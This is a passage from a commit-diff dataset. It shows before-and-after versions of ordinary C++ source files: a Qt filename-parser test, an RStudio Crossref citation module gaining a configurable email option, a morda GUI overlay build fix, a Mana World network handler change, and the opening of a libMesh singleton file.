nullptr);\n\tQCOMPARE(right->op, FilenameNodeConditionOp::Operator::And);\n\n\tauto invert = dynamic_cast<FilenameNodeConditionInvert*>(right->right);\n\tQVERIFY(invert != nullptr);\n}\n\nvoid FilenameParserTest::testParseConditionTagParenthesis()\n{\n\tFilenameParser parser(\"(\\\"my_tag\\\")\");\n\tauto cond = parser.parseCondition();\n\n\tauto tagCond = dynamic_cast<FilenameNodeConditionTag*>(cond);\n\tQVERIFY(tagCond != nullptr);\n\tQCOMPARE(tagCond->tag.text(), QString(\"my_tag\"));\n}\n\nvoid FilenameParserTest::testParseConditionMixedParenthesis()\n{\n\tFilenameParser parser(\"(\\\"my_tag\\\" | %some_token%) & %my_token%\");\n\tauto cond = parser.parseCondition();\n\n\tauto opCond = dynamic_cast<FilenameNodeConditionOp*>(cond);\n\tQVERIFY(opCond != nullptr);\n\tQCOMPARE(opCond->op, FilenameNodeConditionOp::Operator::And);\n\n\tauto right = dynamic_cast<FilenameNodeConditionOp*>(opCond->left);\n\tQVERIFY(right != nullptr);\n\tQCOMPARE(right->op, FilenameNodeConditionOp::Operator::Or);\n}\n\n\nQTEST_MAIN(FilenameParserTest)\n<|endoftext|>"} {"text":"<commit_before>\/*\n * SessionPanmirrorCrossref.cpp\n *\n * Copyright (C) 2009-16 by RStudio, Inc.\n *\n * Unless you have received this program directly from RStudio pursuant\n * to the terms of a commercial license agreement with RStudio, then\n * this program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include \"SessionPanmirrorCrossref.hpp\"\n\n#include <shared_core\/Error.hpp>\n#include <shared_core\/json\/Json.hpp>\n\n#include <core\/Exec.hpp>\n#include <core\/json\/JsonRpc.hpp>\n#include <core\/http\/Util.hpp>\n\n#include <r\/ROptions.hpp>\n\n#include <session\/SessionModuleContext.hpp>\n#include <session\/SessionAsyncDownloadFile.hpp>\n\nusing namespace rstudio::core;\n\nnamespace rstudio {\nnamespace session {\nnamespace modules {\nnamespace panmirror {\nnamespace crossref {\n\nnamespace {\n\nvoid crossrefContentRequestHandler(const core::json::Value& value, core::json::JsonRpcResponse* pResponse)\n{\n pResponse->setResult(value);\n}\n\nvoid crossrefApiRequestHandler(const core::json::Value& value, core::json::JsonRpcResponse* pResponse)\n{ \n if (json::isType<json::Object>(value))\n {\n json::Object responseJson = value.getObject();\n std::string status;\n json::Object message;\n Error error = json::readObject(responseJson, \"status\", status,\n \"message\", message);\n if (error)\n {\n json::setErrorResponse(error, pResponse);\n }\n else if (status != \"ok\")\n {\n Error error = systemError(boost::system::errc::state_not_recoverable,\n \"Unexpected status from crossref api: \" + status,\n ERROR_LOCATION);\n json::setErrorResponse(error, pResponse);\n }\n else\n {\n pResponse->setResult(message);\n }\n }\n else\n {\n Error error = systemError(boost::system::errc::state_not_recoverable,\n \"Unexpected response from crossref api\",\n ERROR_LOCATION);\n json::setErrorResponse(error, pResponse);\n }\n}\n\nvoid crossrefRequest(const std::string& resource,\n const http::Fields& params,\n const session::JsonRpcResponseHandler& handler,\n const json::JsonRpcFunctionContinuation& cont)\n{\n \/\/ build user agent\n std::string userAgent = r::options::getOption<std::string>(\"HTTPUserAgent\", \"RStudio\") +\n \"; RStudio Crossref Cite (mailto:crossref@rstudio.com)\";\n\n \/\/ build query string\n std::string queryString;\n core::http::util::buildQueryString(params, &queryString);\n if (queryString.length() > 0)\n queryString = \"?\" + queryString;\n\n \/\/ build the url and make the request\n boost::format fmt(\"%s\/%s%s\");\n const std::string url = boost::str(fmt % kCrossrefApiHost % resource % queryString);\n\n http::Fields headers;\n asyncJsonRpcRequest(url, userAgent, headers, handler, cont);\n}\n\n\nvoid crossrefWorks(const json::JsonRpcRequest& request,\n const json::JsonRpcFunctionContinuation& cont)\n{\n \/\/ extract query\n std::string query;\n Error error = json::readParams(request.params, &query);\n if (error)\n {\n json::JsonRpcResponse response;\n setErrorResponse(error, &response);\n cont(Success(), &response);\n return;\n }\n\n \/\/ build params\n core::http::Fields params;\n params.push_back(std::make_pair(\"query\", query));\n\n \/\/ make the request\n crossrefRequest(kCrossrefWorks, params, crossrefApiRequestHandler, cont);\n}\n\nvoid crossrefDoi(const json::JsonRpcRequest& request,\n const json::JsonRpcFunctionContinuation& cont)\n{\n std::string doi;\n Error error = json::readParams(request.params, &doi);\n if (error)\n {\n json::JsonRpcResponse response;\n setErrorResponse(error, &response);\n cont(Success(), &response);\n return;\n }\n \n \/\/ Path to DOI metadata works\/{doi}\/transform\/{format} (see: https:\/\/citation.crosscite.org\/docs.html#sec-5)\n const char * const kCitationFormat = \"application\/vnd.citationstyles.csl+json\";\n boost::format fmt(\"%s\/%s\/transform\/%s\");\n const std::string resourcePath = boost::str(fmt % kCrossrefWorks % doi % kCitationFormat);\n \n \/\/ No parameters\n core::http::Fields params;\n\n \/\/ make the request\n crossrefRequest(resourcePath, params, crossrefContentRequestHandler, cont);\n}\n\n\n} \/\/ end anonymous namespace\n\nError initialize()\n{\n ExecBlock initBlock;\n initBlock.addFunctions()\n (boost::bind(module_context::registerAsyncRpcMethod, \"crossref_works\", crossrefWorks))\n (boost::bind(module_context::registerAsyncRpcMethod, \"crossref_doi\", crossrefDoi))\n ;\n return initBlock.execute();\n}\n\n} \/\/ end namespace crossref\n} \/\/ end namespace panmirror\n} \/\/ end namespace modules\n} \/\/ end namespace session\n} \/\/ end namespace rstudio\n<commit_msg>ability to specify crossref email<commit_after>\/*\n * SessionPanmirrorCrossref.cpp\n *\n * Copyright (C) 2009-16 by RStudio, Inc.\n *\n * Unless you have received this program directly from RStudio pursuant\n * to the terms of a commercial license agreement with RStudio, then\n * this program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include \"SessionPanmirrorCrossref.hpp\"\n\n#include <shared_core\/Error.hpp>\n#include <shared_core\/json\/Json.hpp>\n\n#include <core\/Exec.hpp>\n#include <core\/json\/JsonRpc.hpp>\n#include <core\/http\/Util.hpp>\n\n#include <r\/ROptions.hpp>\n\n#include <session\/SessionModuleContext.hpp>\n#include <session\/SessionAsyncDownloadFile.hpp>\n\nusing namespace rstudio::core;\n\nnamespace rstudio {\nnamespace session {\nnamespace modules {\nnamespace panmirror {\nnamespace crossref {\n\nnamespace {\n\nvoid crossrefContentRequestHandler(const core::json::Value& value, core::json::JsonRpcResponse* pResponse)\n{\n pResponse->setResult(value);\n}\n\nvoid crossrefApiRequestHandler(const core::json::Value& value, core::json::JsonRpcResponse* pResponse)\n{ \n if (json::isType<json::Object>(value))\n {\n json::Object responseJson = value.getObject();\n std::string status;\n json::Object message;\n Error error = json::readObject(responseJson, \"status\", status,\n \"message\", message);\n if (error)\n {\n json::setErrorResponse(error, pResponse);\n }\n else if (status != \"ok\")\n {\n Error error = systemError(boost::system::errc::state_not_recoverable,\n \"Unexpected status from crossref api: \" + status,\n ERROR_LOCATION);\n json::setErrorResponse(error, pResponse);\n }\n else\n {\n pResponse->setResult(message);\n }\n }\n else\n {\n Error error = systemError(boost::system::errc::state_not_recoverable,\n \"Unexpected response from crossref api\",\n ERROR_LOCATION);\n json::setErrorResponse(error, pResponse);\n }\n}\n\nvoid crossrefRequest(const std::string& resource,\n const http::Fields& params,\n const session::JsonRpcResponseHandler& handler,\n const json::JsonRpcFunctionContinuation& cont)\n{\n \/\/ email address\n std::string email = r::options::getOption<std::string>(\"rstudio.crossref_email\",\n \"crossref@rstudio.com\", false);\n\n \/\/ build user agent\n std::string userAgent = r::options::getOption<std::string>(\"HTTPUserAgent\", \"RStudio\") +\n \"; RStudio Crossref Cite (mailto:\" + email + \")\";\n\n \/\/ build query string\n std::string queryString;\n core::http::util::buildQueryString(params, &queryString);\n if (queryString.length() > 0)\n queryString = \"?\" + queryString;\n\n \/\/ build the url and make the request\n boost::format fmt(\"%s\/%s%s\");\n const std::string url = boost::str(fmt % kCrossrefApiHost % resource % queryString);\n\n http::Fields headers;\n asyncJsonRpcRequest(url, userAgent, headers, handler, cont);\n}\n\n\nvoid crossrefWorks(const json::JsonRpcRequest& request,\n const json::JsonRpcFunctionContinuation& cont)\n{\n \/\/ extract query\n std::string query;\n Error error = json::readParams(request.params, &query);\n if (error)\n {\n json::JsonRpcResponse response;\n setErrorResponse(error, &response);\n cont(Success(), &response);\n return;\n }\n\n \/\/ build params\n core::http::Fields params;\n params.push_back(std::make_pair(\"query\", query));\n\n \/\/ make the request\n crossrefRequest(kCrossrefWorks, params, crossrefApiRequestHandler, cont);\n}\n\nvoid crossrefDoi(const json::JsonRpcRequest& request,\n const json::JsonRpcFunctionContinuation& cont)\n{\n std::string doi;\n Error error = json::readParams(request.params, &doi);\n if (error)\n {\n json::JsonRpcResponse response;\n setErrorResponse(error, &response);\n cont(Success(), &response);\n return;\n }\n \n \/\/ Path to DOI metadata works\/{doi}\/transform\/{format} (see: https:\/\/citation.crosscite.org\/docs.html#sec-5)\n const char * const kCitationFormat = \"application\/vnd.citationstyles.csl+json\";\n boost::format fmt(\"%s\/%s\/transform\/%s\");\n const std::string resourcePath = boost::str(fmt % kCrossrefWorks % doi % kCitationFormat);\n \n \/\/ No parameters\n core::http::Fields params;\n\n \/\/ make the request\n crossrefRequest(resourcePath, params, crossrefContentRequestHandler, cont);\n}\n\n\n} \/\/ end anonymous namespace\n\nError initialize()\n{\n ExecBlock initBlock;\n initBlock.addFunctions()\n (boost::bind(module_context::registerAsyncRpcMethod, \"crossref_works\", crossrefWorks))\n (boost::bind(module_context::registerAsyncRpcMethod, \"crossref_doi\", crossrefDoi))\n ;\n return initBlock.execute();\n}\n\n} \/\/ end namespace crossref\n} \/\/ end namespace panmirror\n} \/\/ end namespace modules\n} \/\/ end namespace session\n} \/\/ end namespace rstudio\n<|endoftext|>"} {"text":"<commit_before>#include \"overlay.hpp\"\n#include \"..\/proxy\/mouse_proxy.hpp\"\n\n#include \"..\/..\/context.hpp\"\n#include \"size_container.hpp\"\n\nusing namespace morda;\n\nnamespace{\nclass context_menu_wrapper : public size_container{\npublic:\n\tcontext_menu_wrapper(std::shared_ptr<morda::context> c, const puu::forest& desc) :\n\t\t\twidget(std::move(c), desc),\n\t\t\tsize_container(this->context, desc)\n\t{}\n};\n}\n\noverlay::overlay(std::shared_ptr<morda::context> c, const puu::forest& desc) :\n\t\twidget(std::move(c), desc),\n\t\tpile(this->context, desc)\n{}\n\nstd::shared_ptr<widget> overlay::show_context_menu(std::shared_ptr<widget> w, vector2 anchor){\n\tauto c = std::make_shared<context_menu_wrapper>(this->context, puu::read(R\"qwertyuiop(\n\t\tlayout{\n\t\t\tdx{fill} dy{fill}\n\t\t}\n\t\t@mouse_proxy{\n\t\t\tlayout{\n\t\t\t\tdx{fill} dy{fill}\n\t\t\t}\n\t\t\tx{0} y{0}\n\t\t}\n\t)qwertyuiop\"));\n\n\tauto& mp = *std::dynamic_pointer_cast<mouse_proxy>(c->children().back());\n\n\tmp.mouse_button_handler = [](widget& w, bool is_down, const vector2& pos, mouse_button button, unsigned pointer_id) -> bool{\n\t\tASSERT(w.parent())\n\t\tauto wsp = utki::make_shared_from_this(*w.parent());\n\t\tw.context->run_from_ui_thread([wsp](){\n\t\t\twsp->remove_from_parent();\n\t\t});\n\t\treturn false;\n\t};\n\n\tc->push_back(w);\n\n\tauto& lp = c->get_layout_params(*w);\n\n\tvector2 dim = this->dims_for_widget(*w, lp);\n\n\tfor(unsigned i = 0; i != 2; ++i){\n\t\tutki::clampTop(dim[i], this->rect().d[i]);\n\t}\n\n\tw->resize(dim);\n\n\tfor(unsigned i = 0; i != 2; ++i){\n\t\tutki::clampRange(anchor[i], 0.0f, this->rect().d[i] - w->rect().d[i]);\n\t}\n\n\tw->move_to(anchor);\n\n\tauto sp = utki::make_shared_from_this(*this);\n\tASSERT(sp)\n\tthis->context->run_from_ui_thread([this, c, sp](){\n\t\tsp->push_back(c);\n\t});\n\n\treturn c;\n}\n\nvoid overlay::close_all_context_menus(){\n\twhile(dynamic_cast<context_menu_wrapper*>(this->children().back().get())){\n\t\tthis->pop_back();\n\t}\n}\n<commit_msg>macosx build fix<commit_after>#include \"overlay.hpp\"\n#include \"..\/proxy\/mouse_proxy.hpp\"\n\n#include \"..\/..\/context.hpp\"\n#include \"size_container.hpp\"\n\nusing namespace morda;\n\nnamespace{\nclass context_menu_wrapper : public size_container{\npublic:\n\tcontext_menu_wrapper(std::shared_ptr<morda::context> c, const puu::forest& desc) :\n\t\t\twidget(std::move(c), desc),\n\t\t\tsize_container(this->context, desc)\n\t{}\n};\n}\n\noverlay::overlay(std::shared_ptr<morda::context> c, const puu::forest& desc) :\n\t\twidget(std::move(c), desc),\n\t\tpile(this->context, desc)\n{}\n\nstd::shared_ptr<widget> overlay::show_context_menu(std::shared_ptr<widget> w, vector2 anchor){\n\tauto c = std::make_shared<context_menu_wrapper>(this->context, puu::read(R\"qwertyuiop(\n\t\tlayout{\n\t\t\tdx{fill} dy{fill}\n\t\t}\n\t\t@mouse_proxy{\n\t\t\tlayout{\n\t\t\t\tdx{fill} dy{fill}\n\t\t\t}\n\t\t\tx{0} y{0}\n\t\t}\n\t)qwertyuiop\"));\n\n\tauto& mp = *std::dynamic_pointer_cast<mouse_proxy>(c->children().back());\n\n\tmp.mouse_button_handler = [](widget& w, bool is_down, const vector2& pos, mouse_button button, unsigned pointer_id) -> bool{\n\t\tASSERT(w.parent())\n\t\tauto wsp = utki::make_shared_from_this(*w.parent());\n\t\tw.context->run_from_ui_thread([wsp](){\n\t\t\twsp->remove_from_parent();\n\t\t});\n\t\treturn false;\n\t};\n\n\tc->push_back(w);\n\n\tauto& lp = c->get_layout_params(*w);\n\n\tvector2 dim = this->dims_for_widget(*w, lp);\n\n\tfor(unsigned i = 0; i != 2; ++i){\n\t\tutki::clampTop(dim[i], this->rect().d[i]);\n\t}\n\n\tw->resize(dim);\n\n\tfor(unsigned i = 0; i != 2; ++i){\n\t\tutki::clampRange(anchor[i], 0.0f, this->rect().d[i] - w->rect().d[i]);\n\t}\n\n\tw->move_to(anchor);\n\n\tauto sp = utki::make_shared_from_this(*this);\n\tASSERT(sp)\n\tthis->context->run_from_ui_thread([c, sp](){\n\t\tsp->push_back(c);\n\t});\n\n\treturn c;\n}\n\nvoid overlay::close_all_context_menus(){\n\twhile(dynamic_cast<context_menu_wrapper*>(this->children().back().get())){\n\t\tthis->pop_back();\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\r\n * The Mana World\r\n * Copyright (C) 2009 The Mana World Development Team\r\n *\r\n * This file is part of The Mana World.\r\n *\r\n * This program is free software; you can redistribute it and\/or modify\r\n * it under the terms of the GNU General Public License as published by\r\n * the Free Software Foundation; either version 2 of the License, or\r\n * any later version.\r\n *\r\n * This program is distributed in the hope that it will be useful,\r\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n * GNU General Public License for more details.\r\n *\r\n * You should have received a copy of the GNU General Public License\r\n * along with this program; if not, write to the Free Software\r\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\r\n *\/\r\n\r\n#include \"net\/manaserv\/generalhandler.h\"\r\n\r\n#include \"gui\/changeemaildialog.h\"\r\n#include \"gui\/charselectdialog.h\"\r\n#include \"gui\/inventorywindow.h\"\r\n#include \"gui\/partywindow.h\"\r\n#include \"gui\/register.h\"\r\n#include \"gui\/skilldialog.h\"\r\n#include \"gui\/specialswindow.h\"\r\n#include \"gui\/statuswindow.h\"\r\n\r\n#include \"net\/manaserv\/network.h\"\r\n#include \"net\/manaserv\/connection.h\"\r\n\r\n#include \"net\/manaserv\/beinghandler.h\"\r\n#include \"net\/manaserv\/buysellhandler.h\"\r\n#include \"net\/manaserv\/charhandler.h\"\r\n#include \"net\/manaserv\/chathandler.h\"\r\n#include \"net\/manaserv\/effecthandler.h\"\r\n#include \"net\/manaserv\/gamehandler.h\"\r\n#include \"net\/manaserv\/guildhandler.h\"\r\n#include \"net\/manaserv\/inventoryhandler.h\"\r\n#include \"net\/manaserv\/itemhandler.h\"\r\n#include \"net\/manaserv\/loginhandler.h\"\r\n#include \"net\/manaserv\/npchandler.h\"\r\n#include \"net\/manaserv\/partyhandler.h\"\r\n#include \"net\/manaserv\/playerhandler.h\"\r\n#include \"net\/manaserv\/specialhandler.h\"\r\n#include \"net\/manaserv\/tradehandler.h\"\r\n\r\n#include \"utils\/gettext.h\"\r\n\r\n#include \"main.h\"\r\n\r\n#include <list>\r\n\r\nextern Net::GeneralHandler *generalHandler;\r\n\r\nextern ManaServ::LoginHandler *loginHandler;\r\n\r\nnamespace ManaServ {\r\n\r\nConnection *accountServerConnection = 0;\r\nConnection *chatServerConnection = 0;\r\nConnection *gameServerConnection = 0;\r\nstd::string netToken = \"\";\r\nServerInfo gameServer;\r\nServerInfo chatServer;\r\n\r\nGeneralHandler::GeneralHandler():\r\n mBeingHandler(new BeingHandler),\r\n mBuySellHandler(new BuySellHandler),\r\n mCharHandler(new CharHandler),\r\n mChatHandler(new ChatHandler),\r\n mEffectHandler(new EffectHandler),\r\n mGameHandler(new GameHandler),\r\n mGuildHandler(new GuildHandler),\r\n mInventoryHandler(new InventoryHandler),\r\n mItemHandler(new ItemHandler),\r\n mLoginHandler(new LoginHandler),\r\n mNpcHandler(new NpcHandler),\r\n mPartyHandler(new PartyHandler),\r\n mPlayerHandler(new PlayerHandler),\r\n mTradeHandler(new TradeHandler),\r\n mSpecialHandler(new SpecialHandler)\r\n{\r\n initialize();\r\n\r\n accountServerConnection = getConnection();\r\n gameServerConnection = getConnection();\r\n chatServerConnection = getConnection();\r\n\r\n generalHandler = this;\r\n\r\n std::list<ItemDB::Stat> stats;\r\n stats.push_back(ItemDB::Stat(\"str\", N_(\"Strength %+d\")));\r\n stats.push_back(ItemDB::Stat(\"agi\", N_(\"Agility %+d\")));\r\n stats.push_back(ItemDB::Stat(\"dex\", N_(\"Dexterity %+d\")));\r\n stats.push_back(ItemDB::Stat(\"vit\", N_(\"Vitality %+d\")));\r\n stats.push_back(ItemDB::Stat(\"int\", N_(\"Intelligence %+d\")));\r\n stats.push_back(ItemDB::Stat(\"will\", N_(\"Willpower %+d\")));\r\n\r\n ItemDB::setStatsList(stats);\r\n}\r\n\r\nvoid GeneralHandler::load()\r\n{\r\n registerHandler(mBeingHandler.get());\r\n registerHandler(mBuySellHandler.get());\r\n registerHandler(mCharHandler.get());\r\n registerHandler(mChatHandler.get());\r\n registerHandler(mEffectHandler.get());\r\n registerHandler(mGameHandler.get());\r\n registerHandler(mGuildHandler.get());\r\n registerHandler(mInventoryHandler.get());\r\n registerHandler(mItemHandler.get());\r\n registerHandler(mLoginHandler.get());\r\n registerHandler(mNpcHandler.get());\r\n registerHandler(mPartyHandler.get());\r\n registerHandler(mPlayerHandler.get());\r\n registerHandler(mTradeHandler.get());\r\n}\r\n\r\nvoid GeneralHandler::reload()\r\n{\r\n \/\/ Nothing needed yet\r\n}\r\n\r\nvoid GeneralHandler::unload()\r\n{\r\n clearHandlers();\r\n\r\n if (accountServerConnection)\r\n accountServerConnection->disconnect();\r\n if (gameServerConnection)\r\n gameServerConnection->disconnect();\r\n if (chatServerConnection)\r\n chatServerConnection->disconnect();\r\n\r\n delete accountServerConnection;\r\n delete gameServerConnection;\r\n delete chatServerConnection;\r\n\r\n finalize();\r\n}\r\n\r\nvoid GeneralHandler::flushNetwork()\r\n{\r\n flush();\r\n\r\n if (state == STATE_SWITCH_CHARACTER &&\r\n Net::getLoginHandler()->isConnected())\r\n {\r\n loginHandler->reconnect();\r\n state = STATE_GET_CHARACTERS;\r\n }\r\n}\r\n\r\nvoid GeneralHandler::guiWindowsLoaded()\r\n{\r\n inventoryWindow->setSplitAllowed(true);\r\n partyWindow->clearPartyName();\r\n skillDialog->loadSkills(\"tmw-skills.xml\");\r\n specialsWindow->loadSpecials(\"specials.xml\");\r\n\r\n player_node->setExpNeeded(100);\r\n\r\n statusWindow->addAttribute(16, _(\"Strength\"), true);\r\n statusWindow->addAttribute(17, _(\"Agility\"), true);\r\n statusWindow->addAttribute(18, _(\"Dexterity\"), true);\r\n statusWindow->addAttribute(19, _(\"Vitality\"), true);\r\n statusWindow->addAttribute(20, _(\"Intelligence\"), true);\r\n statusWindow->addAttribute(21, _(\"Willpower\"), true);\r\n}\r\n\r\nvoid GeneralHandler::guiWindowsUnloaded()\r\n{\r\n \/\/ TODO\r\n}\r\n\r\nvoid GeneralHandler::clearHandlers()\r\n{\r\n clearNetworkHandlers();\r\n}\r\n\r\n} \/\/ namespace ManaServ\r\n<commit_msg>Update des Sourcecodes.<commit_after>\/*\r\n * The Mana World\r\n * Copyright (C) 2009 The Mana World Development Team\r\n *\r\n * This file is part of The Mana World.\r\n *\r\n * This program is free software; you can redistribute it and\/or modify\r\n * it under the terms of the GNU General Public License as published by\r\n * the Free Software Foundation; either version 2 of the License, or\r\n * any later version.\r\n *\r\n * This program is distributed in the hope that it will be useful,\r\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n * GNU General Public License for more details.\r\n *\r\n * You should have received a copy of the GNU General Public License\r\n * along with this program; if not, write to the Free Software\r\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\r\n *\/\r\n\r\n#include \"net\/manaserv\/generalhandler.h\"\r\n\r\n#include \"gui\/changeemaildialog.h\"\r\n#include \"gui\/charselectdialog.h\"\r\n#include \"gui\/inventorywindow.h\"\r\n#include \"gui\/partywindow.h\"\r\n#include \"gui\/register.h\"\r\n#include \"gui\/skilldialog.h\"\r\n#include \"gui\/specialswindow.h\"\r\n#include \"gui\/statuswindow.h\"\r\n\r\n#include \"net\/manaserv\/network.h\"\r\n#include \"net\/manaserv\/connection.h\"\r\n\r\n#include \"net\/manaserv\/beinghandler.h\"\r\n#include \"net\/manaserv\/buysellhandler.h\"\r\n#include \"net\/manaserv\/charhandler.h\"\r\n#include \"net\/manaserv\/chathandler.h\"\r\n#include \"net\/manaserv\/effecthandler.h\"\r\n#include \"net\/manaserv\/gamehandler.h\"\r\n#include \"net\/manaserv\/guildhandler.h\"\r\n#include \"net\/manaserv\/inventoryhandler.h\"\r\n#include \"net\/manaserv\/itemhandler.h\"\r\n#include \"net\/manaserv\/loginhandler.h\"\r\n#include \"net\/manaserv\/npchandler.h\"\r\n#include \"net\/manaserv\/partyhandler.h\"\r\n#include \"net\/manaserv\/playerhandler.h\"\r\n#include \"net\/manaserv\/specialhandler.h\"\r\n#include \"net\/manaserv\/tradehandler.h\"\r\n\r\n#include \"utils\/gettext.h\"\r\n\r\n#include \"main.h\"\r\n\r\n#include <list>\r\n\r\nextern Net::GeneralHandler *generalHandler;\r\n\r\nextern ManaServ::LoginHandler *loginHandler;\r\n\r\nnamespace ManaServ {\r\n\r\nConnection *accountServerConnection = 0;\r\nConnection *chatServerConnection = 0;\r\nConnection *gameServerConnection = 0;\r\nstd::string netToken = \"\";\r\nServerInfo gameServer;\r\nServerInfo chatServer;\r\n\r\nGeneralHandler::GeneralHandler():\r\n mBeingHandler(new BeingHandler),\r\n mBuySellHandler(new BuySellHandler),\r\n mCharHandler(new CharHandler),\r\n mChatHandler(new ChatHandler),\r\n mEffectHandler(new EffectHandler),\r\n mGameHandler(new GameHandler),\r\n mGuildHandler(new GuildHandler),\r\n mInventoryHandler(new InventoryHandler),\r\n mItemHandler(new ItemHandler),\r\n mLoginHandler(new LoginHandler),\r\n mNpcHandler(new NpcHandler),\r\n mPartyHandler(new PartyHandler),\r\n mPlayerHandler(new PlayerHandler),\r\n mTradeHandler(new TradeHandler),\r\n mSpecialHandler(new SpecialHandler)\r\n{\r\n initialize();\r\n\r\n accountServerConnection = getConnection();\r\n gameServerConnection = getConnection();\r\n chatServerConnection = getConnection();\r\n\r\n generalHandler = this;\r\n\r\n std::list<ItemDB::Stat> stats;\r\n stats.push_back(ItemDB::Stat(\"str\", N_(\"Strength %+d\")));\r\n stats.push_back(ItemDB::Stat(\"agi\", N_(\"Agility %+d\")));\r\n stats.push_back(ItemDB::Stat(\"dex\", N_(\"Dexterity %+d\")));\r\n stats.push_back(ItemDB::Stat(\"vit\", N_(\"Vitality %+d\")));\r\n stats.push_back(ItemDB::Stat(\"int\", N_(\"Intelligence %+d\")));\r\n stats.push_back(ItemDB::Stat(\"will\", N_(\"Willpower %+d\")));\r\n\r\n ItemDB::setStatsList(stats);\r\n}\r\n\r\nvoid GeneralHandler::load()\r\n{\r\n registerHandler(mBeingHandler.get());\r\n registerHandler(mBuySellHandler.get());\r\n registerHandler(mCharHandler.get());\r\n registerHandler(mChatHandler.get());\r\n registerHandler(mEffectHandler.get());\r\n registerHandler(mGameHandler.get());\r\n registerHandler(mGuildHandler.get());\r\n registerHandler(mInventoryHandler.get());\r\n registerHandler(mItemHandler.get());\r\n registerHandler(mLoginHandler.get());\r\n registerHandler(mNpcHandler.get());\r\n registerHandler(mPartyHandler.get());\r\n registerHandler(mPlayerHandler.get());\r\n registerHandler(mTradeHandler.get());\r\n}\r\n\r\nvoid GeneralHandler::reload()\r\n{\r\n \/\/ Nothing needed yet\r\n}\r\n\r\nvoid GeneralHandler::unload()\r\n{\r\n clearHandlers();\r\n\r\n if (accountServerConnection)\r\n accountServerConnection->disconnect();\r\n if (gameServerConnection)\r\n gameServerConnection->disconnect();\r\n if (chatServerConnection)\r\n chatServerConnection->disconnect();\r\n\r\n delete accountServerConnection;\r\n delete gameServerConnection;\r\n delete chatServerConnection;\r\n\r\n finalize();\r\n}\r\n\r\nvoid GeneralHandler::flushNetwork()\r\n{\r\n flush();\r\n\r\n if (state == STATE_SWITCH_CHARACTER &&\r\n Net::getLoginHandler()->isConnected())\r\n {\r\n loginHandler->reconnect();\r\n state = STATE_GET_CHARACTERS;\r\n }\r\n}\r\n\r\nvoid GeneralHandler::guiWindowsLoaded()\r\n{\r\n inventoryWindow->setSplitAllowed(true);\r\n partyWindow->clearPartyName();\r\n skillDialog->loadSkills(\"mana-skills.xml\");\r\n specialsWindow->loadSpecials(\"specials.xml\");\r\n\r\n player_node->setExpNeeded(100);\r\n\r\n statusWindow->addAttribute(16, _(\"Strength\"), true);\r\n statusWindow->addAttribute(17, _(\"Agility\"), true);\r\n statusWindow->addAttribute(18, _(\"Dexterity\"), true);\r\n statusWindow->addAttribute(19, _(\"Vitality\"), true);\r\n statusWindow->addAttribute(20, _(\"Intelligence\"), true);\r\n statusWindow->addAttribute(21, _(\"Willpower\"), true);\r\n}\r\n\r\nvoid GeneralHandler::guiWindowsUnloaded()\r\n{\r\n \/\/ TODO\r\n}\r\n\r\nvoid GeneralHandler::clearHandlers()\r\n{\r\n clearNetworkHandlers();\r\n}\r\n\r\n} \/\/ namespace ManaServ\r\n<|endoftext|>"} {"text":"<commit_before>\/\/ The libMesh Finite Element Library.\n\/\/ Copyright (C) 2002-2013 Benjamin S. Kirk, John W. Peterson, Roy H. Stogner\n\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n\n\n\/\/ Local includes\n#include \"libmesh\/libmesh_singleton.h\"\n#include \"libmesh\/threads.h\"\n\n\/\/ C\/C++ includes\n#include <vector>\n\n\n\/\/ --------------------------------------------------------\n\/\/ Local anonymous namespace to hold miscelaneous bits\nnamespace\n{\n using namespace libMesh;\n\n \/\/ Mutex object for required locking\n typedef Threads::spin_mutex SingletonMutex;\n SingletonMutex singleton_mtx, setup_mtx;\n\n \/\/ global list of runtime Singleton objects - created dynamically,\n \/\/ cleaned up in reverse order.\n typedef std::vector<Singleton*> SingletonList;\n\n SingletonList& get_singleton_cache()\n {\n static SingletonList singleton_cache;\n return singleton_cache;\n }\n\n typedef std::vector<Singleton::Setup*> SetupList;\n SetupList& get_setup_cache()\n {\n static SetupList setup_cache;\n return setup_cache;\n }\n\n} \/\/ end anonymous namespace\n\n\n\n\/\/ --------------------------------------------------------\n\/\/ Local anonymous namespace to hold miscelaneous bits\nnamespace libMesh\n{\n\n Singleton::Singleton ()\n {\n SingletonMutex::scoped_lock lock(singleton_mtx);\n\n get_singleton_cache().push_back (this);\n }\n\n\n\n Singleton::Setup::Setup ()\n {\n SingletonMutex::scoped_lock lock(setup_mtx);\n\n get_setup_cache().push_back (this);\n }\n\n\n\n void Singleton::setup ()\n {\n SingletonMutex::scoped_lock lock(setup_mtx);\n\n SetupList& setup_cache = get_setup_cache();\n\n for (SetupList::iterator it = setup_cache.begin();\n\t it!=setup_cache.end(); ++it)\n {\n\tlibmesh_assert (*it != 